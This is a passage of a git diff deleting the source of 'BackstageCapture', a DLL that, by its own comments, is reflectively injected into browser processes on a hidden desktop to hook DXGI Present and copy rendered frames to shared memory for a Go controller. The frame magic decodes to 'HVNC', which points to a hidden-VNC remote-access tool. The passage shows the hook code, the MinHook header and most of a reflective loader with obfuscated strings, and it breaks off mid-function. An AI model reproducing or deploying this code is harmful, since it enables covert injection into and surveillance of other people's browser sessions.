- void* pResizeBuffers = NULL;
-
- if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) {
- DebugLog("[BackstageCapture] Failed to discover DXGI vtable\n");
- return;
- }
-
- if (pPresent) {
- status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent);
- if (status == MH_OK) {
- MH_EnableHook(pPresent);
- DebugLog("[BackstageCapture] Present hooked at %p\n", pPresent);
- } else {
- DebugLog("[BackstageCapture] MH_CreateHook Present failed: %d\n", status);
- }
- }
-
- if (pPresent1) {
- status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1);
- if (status == MH_OK) {
- MH_EnableHook(pPresent1);
- DebugLog("[BackstageCapture] Present1 hooked at %p\n", pPresent1);
- } else {
- DebugLog("[BackstageCapture] MH_CreateHook Present1 failed: %d\n", status);
- }
- }
-
- if (pResizeBuffers) {
- status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers);
- if (status == MH_OK) {
- MH_EnableHook(pResizeBuffers);
- DebugLog("[BackstageCapture] ResizeBuffers hooked at %p\n", pResizeBuffers);
- } else {
- DebugLog("[BackstageCapture] MH_CreateHook ResizeBuffers failed: %d\n", status);
- }
- }
-
- DebugLog("[BackstageCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId());
-}
-
-void RemoveDXGICapture(void) {
- if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); }
- if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); }
- if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); }
-
- MH_Uninitialize();
-
- if (g_LockInitialized) {
- EnterCriticalSection(&g_Lock);
- }
-
- if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
- if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
- if (g_Context) { g_Context->Release(); g_Context = NULL; }
- if (g_Device) { g_Device->Release(); g_Device = NULL; }
-
- if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
- if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
- if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; }
-
- if (g_LockInitialized) {
- LeaveCriticalSection(&g_Lock);
- DeleteCriticalSection(&g_Lock);
- g_LockInitialized = FALSE;
- }
-
- DebugLog("[BackstageCapture] Cleaned up\n");
-}
-
-#ifdef __cplusplus
-}
-#endif
diff --git a/BackstageCapture/src/DXGICapture.h b/BackstageCapture/src/DXGICapture.h
deleted file mode 100644
index 62d6d5a..0000000
--- a/BackstageCapture/src/DXGICapture.h
+++ /dev/null
@@ -1,61 +0,0 @@
-//===============================================================================================//
-// BackstageCapture — DXGI SwapChain::Present hook for fast backstage frame capture.
-//
-// Injected into browser processes running on the hidden desktop. Hooks
-// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
-// to a named shared-memory section so the Go capture thread can read them
-// directly instead of using the slow PrintWindow API.
-//
-// Shared memory layout (backstageFrameHeader at offset 0, then pixel data):
-// [backstageFrameHeader][BGRA pixel data, stride-aligned rows]
-//
-// Signaling: named event "Local\backstage_frame_{pid}" is set after each new frame.
-//===============================================================================================//
-#ifndef _DXGI_CAPTURE_H
-#define _DXGI_CAPTURE_H
-
-#include
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH).
-void InstallDXGICapture(void);
-
-// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH).
-void RemoveDXGICapture(void);
-
-#ifdef __cplusplus
-}
-#endif
-
-// Shared memory header — must match Go-side definition exactly.
-#pragma pack(push, 1)
-typedef struct {
- UINT32 magic; // 'backstage' = 0x434E5648
- UINT32 version; // 1
- UINT32 width;
- UINT32 height;
- UINT32 stride; // bytes per row (width * 4, may be padded)
- UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM)
- UINT64 frameSeq; // monotonically increasing frame counter
- UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
- UINT32 pid; // process ID that produced this frame
- UINT32 reserved; // alignment padding
-} backstageFrameHeader;
-#pragma pack(pop)
-
-#define backstage_FRAME_MAGIC 0x434E5648 // 'backstage'
-#define backstage_FRAME_VERSION 1
-
-// Maximum frame dimensions we support (prevents runaway allocation)
-#define backstage_MAX_WIDTH 7680
-#define backstage_MAX_HEIGHT 4320
-
-// Shared memory name format — {pid} is the decimal process ID
-// e.g. "Local\backstage_frame_12345"
-#define backstage_SHM_PREFIX "Local\\backstage_frame_"
-#define backstage_EVENT_PREFIX "Local\\backstage_evt_"
-
-#endif // _DXGI_CAPTURE_H
diff --git a/BackstageCapture/src/MinHook.h b/BackstageCapture/src/MinHook.h
deleted file mode 100644
index 8b16ce0..0000000
--- a/BackstageCapture/src/MinHook.h
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
- * MinHook - The Minimalistic API Hooking Library for x64/x86
- * Copyright (C) 2009-2017 Tsuda Kageyu.
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
- * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#pragma once
-
-#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
-#error MinHook supports only x86 and x64 systems.
-#endif
-
-#include
-
- // MinHook Error Codes.
-typedef enum MH_STATUS
-{
- // Unknown error. Should not be returned.
- MH_UNKNOWN = -1,
-
- // Successful.
- MH_OK = 0,
-
- // MinHook is already initialized.
- MH_ERROR_ALREADY_INITIALIZED,
-
- // MinHook is not initialized yet, or already uninitialized.
- MH_ERROR_NOT_INITIALIZED,
-
- // The hook for the specified target function is already created.
- MH_ERROR_ALREADY_CREATED,
-
- // The hook for the specified target function is not created yet.
- MH_ERROR_NOT_CREATED,
-
- // The hook for the specified target function is already enabled.
- MH_ERROR_ENABLED,
-
- // The hook for the specified target function is not enabled yet, or already
- // disabled.
- MH_ERROR_DISABLED,
-
- // The specified pointer is invalid. It points the address of non-allocated
- // and/or non-executable region.
- MH_ERROR_NOT_EXECUTABLE,
-
- // The specified target function cannot be hooked.
- MH_ERROR_UNSUPPORTED_FUNCTION,
-
- // Failed to allocate memory.
- MH_ERROR_MEMORY_ALLOC,
-
- // Failed to change the memory protection.
- MH_ERROR_MEMORY_PROTECT,
-
- // The specified module is not loaded.
- MH_ERROR_MODULE_NOT_FOUND,
-
- // The specified function is not found.
- MH_ERROR_FUNCTION_NOT_FOUND
-}
-MH_STATUS;
-
-// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
-// MH_QueueEnableHook or MH_QueueDisableHook.
-#define MH_ALL_HOOKS NULL
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
- // Initialize the MinHook library. You must call this function EXACTLY ONCE
- // at the beginning of your program.
- MH_STATUS WINAPI MH_Initialize(VOID);
-
- // Uninitialize the MinHook library. You must call this function EXACTLY
- // ONCE at the end of your program.
- MH_STATUS WINAPI MH_Uninitialize(VOID);
-
- // Creates a Hook for the specified target function, in disabled state.
- // Parameters:
- // pTarget [in] A pointer to the target function, which will be
- // overridden by the detour function.
- // pDetour [in] A pointer to the detour function, which will override
- // the target function.
- // ppOriginal [out] A pointer to the trampoline function, which will be
- // used to call the original target function.
- // This parameter can be NULL.
- MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
-
- // Creates a Hook for the specified API function, in disabled state.
- // Parameters:
- // pszModule [in] A pointer to the loaded module name which contains the
- // target function.
- // pszTarget [in] A pointer to the target function name, which will be
- // overridden by the detour function.
- // pDetour [in] A pointer to the detour function, which will override
- // the target function.
- // ppOriginal [out] A pointer to the trampoline function, which will be
- // used to call the original target function.
- // This parameter can be NULL.
- MH_STATUS WINAPI MH_CreateHookApi(
- LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
-
- // Creates a Hook for the specified API function, in disabled state.
- // Parameters:
- // pszModule [in] A pointer to the loaded module name which contains the
- // target function.
- // pszTarget [in] A pointer to the target function name, which will be
- // overridden by the detour function.
- // pDetour [in] A pointer to the detour function, which will override
- // the target function.
- // ppOriginal [out] A pointer to the trampoline function, which will be
- // used to call the original target function.
- // This parameter can be NULL.
- // ppTarget [out] A pointer to the target function, which will be used
- // with other functions.
- // This parameter can be NULL.
- MH_STATUS WINAPI MH_CreateHookApiEx(
- LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
-
- // Removes an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
-
- // Enables an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // enabled in one go.
- MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
-
- // Disables an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // disabled in one go.
- MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
-
- // Queues to enable an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // queued to be enabled.
- MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
-
- // Queues to disable an already created hook.
- // Parameters:
- // pTarget [in] A pointer to the target function.
- // If this parameter is MH_ALL_HOOKS, all created hooks are
- // queued to be disabled.
- MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
-
- // Applies all queued changes in one go.
- MH_STATUS WINAPI MH_ApplyQueued(VOID);
-
- // Translates the MH_STATUS to its name as a string.
- const char* WINAPI MH_StatusToString(MH_STATUS status);
-
-#ifdef __cplusplus
-}
-#endif
diff --git a/BackstageCapture/src/ReflectiveDLLInjection.h b/BackstageCapture/src/ReflectiveDLLInjection.h
deleted file mode 100644
index 72fd96b..0000000
--- a/BackstageCapture/src/ReflectiveDLLInjection.h
+++ /dev/null
@@ -1,51 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without modification, are permitted
-// provided that the following conditions are met:
-//
-// * Redistributions of source code must retain the above copyright notice, this list of
-// conditions and the following disclaimer.
-//
-// * Redistributions in binary form must reproduce the above copyright notice, this list of
-// conditions and the following disclaimer in the documentation and/or other materials provided
-// with the distribution.
-//
-// * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
-#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
-//===============================================================================================//
-#define WIN32_LEAN_AND_MEAN
-#include
-
-// we declare some common stuff in here...
-
-#define DLL_QUERY_HMODULE 6
-
-#define DEREF( name )*(UINT_PTR *)(name)
-#define DEREF_64( name )*(DWORD64 *)(name)
-#define DEREF_32( name )*(DWORD *)(name)
-#define DEREF_16( name )*(WORD *)(name)
-#define DEREF_8( name )*(BYTE *)(name)
-
-typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
-typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
-
-#define DLLEXPORT __declspec( dllexport )
-
-//===============================================================================================//
-#endif
-//===============================================================================================//
diff --git a/BackstageCapture/src/ReflectiveDll.c b/BackstageCapture/src/ReflectiveDll.c
deleted file mode 100644
index cc1c832..0000000
--- a/BackstageCapture/src/ReflectiveDll.c
+++ /dev/null
@@ -1,61 +0,0 @@
-//===============================================================================================//
-// BackstageCapture — ReflectiveDll.c
-//
-// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
-// is mapped into memory. Defers DXGI hook installation to a worker thread
-// because DllMain runs under the loader lock and cannot safely call
-// LoadLibrary / D3D11CreateDeviceAndSwapChain.
-//===============================================================================================//
-#include "ReflectiveLoader.h"
-#include "DXGICapture.h"
-
-extern HINSTANCE hAppInstance;
-
-static HANDLE g_InitThread = NULL;
-
-// Worker thread: waits for d3d11.dll to appear, then installs hooks.
-static DWORD WINAPI DeferredInit(LPVOID param)
-{
- (void)param;
- // Poll for d3d11.dll up to 60 seconds (browser may take a while)
- for (int i = 0; i < 600; i++) {
- if (GetModuleHandleA("d3d11.dll") != NULL)
- break;
- Sleep(100);
- }
- if (GetModuleHandleA("d3d11.dll") == NULL) {
- // Process never loaded D3D11 — nothing to hook
- return 0;
- }
- // Brief delay for swapchain creation
- Sleep(500);
- InstallDXGICapture();
- return 0;
-}
-
-BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
-{
- BOOL bReturnValue = TRUE;
-
- switch (dwReason)
- {
- case DLL_PROCESS_ATTACH:
- hAppInstance = hinstDLL;
- DisableThreadLibraryCalls(hinstDLL);
- g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL);
- break;
- case DLL_PROCESS_DETACH:
- if (g_InitThread) {
- WaitForSingleObject(g_InitThread, 5000);
- CloseHandle(g_InitThread);
- g_InitThread = NULL;
- }
- RemoveDXGICapture();
- break;
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- break;
- }
-
- return bReturnValue;
-}
diff --git a/BackstageCapture/src/ReflectiveLoader.c b/BackstageCapture/src/ReflectiveLoader.c
deleted file mode 100644
index bc2ac76..0000000
--- a/BackstageCapture/src/ReflectiveLoader.c
+++ /dev/null
@@ -1,549 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without modification, are permitted
-// provided that the following conditions are met:
-//
-// * Redistributions of source code must retain the above copyright notice, this list of
-// conditions and the following disclaimer.
-//
-// * Redistributions in binary form must reproduce the above copyright notice, this list of
-// conditions and the following disclaimer in the documentation and/or other materials provided
-// with the distribution.
-//
-// * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#include "ReflectiveLoader.h"
-#include "obfstr.h"
-//===============================================================================================//
-// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
-HINSTANCE hAppInstance = NULL;
-// Store the parameter passed to ReflectiveLoader so DllMain can access it
-LPVOID g_lpReflectiveParameter = NULL;
-//===============================================================================================//
-#ifdef _MSC_VER
-#pragma intrinsic(_ReturnAddress)
-#define RDI_NOINLINE __declspec(noinline)
-#else
-#define RDI_NOINLINE __attribute__((noinline))
-#endif
-
-// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
-// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
-// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
-// available (and no inline asm available under x64).
-RDI_NOINLINE ULONG_PTR caller(VOID)
-{
-#ifdef _MSC_VER
- return (ULONG_PTR)_ReturnAddress();
-#elif defined(__GNUC__) || defined(__clang__)
- // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
- return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
-#else
- return 0;
-#endif
-}
-//===============================================================================================//
-
-// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
-// otherwise the DllMain at the end of this file will be used.
-
-// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
-// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
-
-// This is our position independent reflective DLL loader/injector
-#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
-DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
-#else
-DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
-#endif
-{
- // the functions we need
- LOADLIBRARYA pLoadLibraryA = NULL;
- GETPROCADDRESS pGetProcAddress = NULL;
- VIRTUALALLOC pVirtualAlloc = NULL;
- NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
-#ifdef WIN_X64
- FARPROC pRtlAddFunctionTable = NULL;
-#endif
-
- USHORT usCounter;
-
- // the initial location of this image in memory
- ULONG_PTR uiLibraryAddress;
- // the kernels base address and later this images newly loaded base address
- ULONG_PTR uiBaseAddress;
-
- // variables for processing the kernels export table
- ULONG_PTR uiAddressArray;
- ULONG_PTR uiNameArray;
- ULONG_PTR uiExportDir;
- ULONG_PTR uiNameOrdinals;
- DWORD dwHashValue;
-
- // variables for loading this image
- ULONG_PTR uiHeaderValue;
- ULONG_PTR uiValueA;
- ULONG_PTR uiValueB;
- ULONG_PTR uiValueC;
- ULONG_PTR uiValueD;
- ULONG_PTR uiValueE;
-
- // STEP 0: calculate our images current base address
-
- // we will start searching backwards from our callers return address.
- uiLibraryAddress = caller();
-
- // loop through memory backwards searching for our images base address
- // we dont need SEH style search as we shouldnt generate any access violations with this
- while (TRUE)
- {
- if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
- {
- uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
- // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
- // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
- if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
- {
- uiHeaderValue += uiLibraryAddress;
- // break if we have found a valid MZ/PE header
- if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
- break;
- }
- }
- uiLibraryAddress--;
- }
-
- // STEP 1: process the kernels exports for the functions our loader needs...
-
- // get the Process Enviroment Block
-#ifdef WIN_X64
- uiBaseAddress = __readgsqword(0x60);
-#else
-#ifdef WIN_X86
- uiBaseAddress = __readfsdword(0x30);
-#else WIN_ARM
- uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
-#endif
-#endif
-
- // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
- uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
-
- // get the first entry of the InMemoryOrder module list
- uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
- while (uiValueA)
- {
- // get pointer to current modules name (unicode string)
- uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
- // set bCounter to the length for the loop
- usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
- // clear uiValueC which will store the hash of the module name
- uiValueC = 0;
-
- // compute the hash of the module name...
- do
- {
- uiValueC = ror((DWORD)uiValueC);
- // normalize to uppercase if the madule name is in lowercase
- if (*((BYTE*)uiValueB) >= 'a')
- uiValueC += *((BYTE*)uiValueB) - 0x20;
- else
- uiValueC += *((BYTE*)uiValueB);
- uiValueB++;
- } while (--usCounter);
-
- // compare the hash with that of kernel32.dll
- if ((DWORD)uiValueC == KERNEL32DLL_HASH)
- {
- // get this modules base address
- uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
-
- // get the VA of the modules NT Header
- uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
-
- // uiNameArray = the address of the modules export directory entry
- uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
-
- // get the VA of the export directory
- uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
-
- // get the VA for the array of name pointers
- uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
-
- // get the VA for the array of name ordinals
- uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
-
- usCounter = 3;
-
- // loop while we still have imports to find
- while (usCounter > 0)
- {
- // compute the hash values for this function name
- dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
-
- // if we have found a function we want we get its virtual address
- if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
- {
- // get the VA for the array of addresses
- uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
-
- // use this functions name ordinal as an index into the array of name pointers
- uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
-
- // store this functions VA
- if (dwHashValue == LOADLIBRARYA_HASH)
- pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
- else if (dwHashValue == GETPROCADDRESS_HASH)
- pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
- else if (dwHashValue == VIRTUALALLOC_HASH)
- pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
-
- // decrement our counter
- usCounter--;
- }
-
- // get the next exported function name
- uiNameArray += sizeof(DWORD);
-
- // get the next exported function name ordinal
- uiNameOrdinals += sizeof(WORD);
- }
- }
- else if ((DWORD)uiValueC == NTDLLDLL_HASH)
- {
- // get this modules base address
- uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
-
- // get the VA of the modules NT Header
- uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
-
- // uiNameArray = the address of the modules export directory entry
- uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
-
- // get the VA of the export directory
- uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
-
- // get the VA for the array of name pointers
- uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
-
- // get the VA for the array of name ordinals
- uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
-
- usCounter = 1;
-
- // loop while we still have imports to find
- while (usCounter > 0)
- {
- // compute the hash values for this function name
- dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
-
- // if we have found a function we want we get its virtual address
- if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
- {
- // get the VA for the array of addresses
- uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
-
- // use this functions name ordinal as an index into the array of name pointers
- uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
-
- // store this functions VA
- if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
- pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
-
- // decrement our counter
- usCounter--;
- }
-
- // get the next exported function name
- uiNameArray += sizeof(DWORD);
-
- // get the next exported function name ordinal
- uiNameOrdinals += sizeof(WORD);
- }
- }
-
- // we stop searching when we have found everything we need.
- if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
- break;
-
- // get the next entry
- uiValueA = DEREF(uiValueA);
- }
-
-#ifdef WIN_X64
- {
- HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll));
- if (hNtdll)
- pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable));
- }
-#endif
-
- // STEP 2: load our image into a new permanent location in memory...
-
- // get the VA of the NT Header for the PE to be loaded
- uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
-
- // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
- // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
- uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-
- // we must now copy over the headers
- uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
- uiValueB = uiLibraryAddress;
- uiValueC = uiBaseAddress;
-
- while (uiValueA--)
- *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
-
- // STEP 3: load in all of our sections...
-
- // uiValueA = the VA of the first section
- uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
-
- // itterate through all sections, loading them into memory.
- uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
- while (uiValueE--)
- {
- // uiValueB is the VA for this section
- uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
-
- // uiValueC if the VA for this sections data
- uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
-
- // copy the section over
- uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
-
- while (uiValueD--)
- *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
-
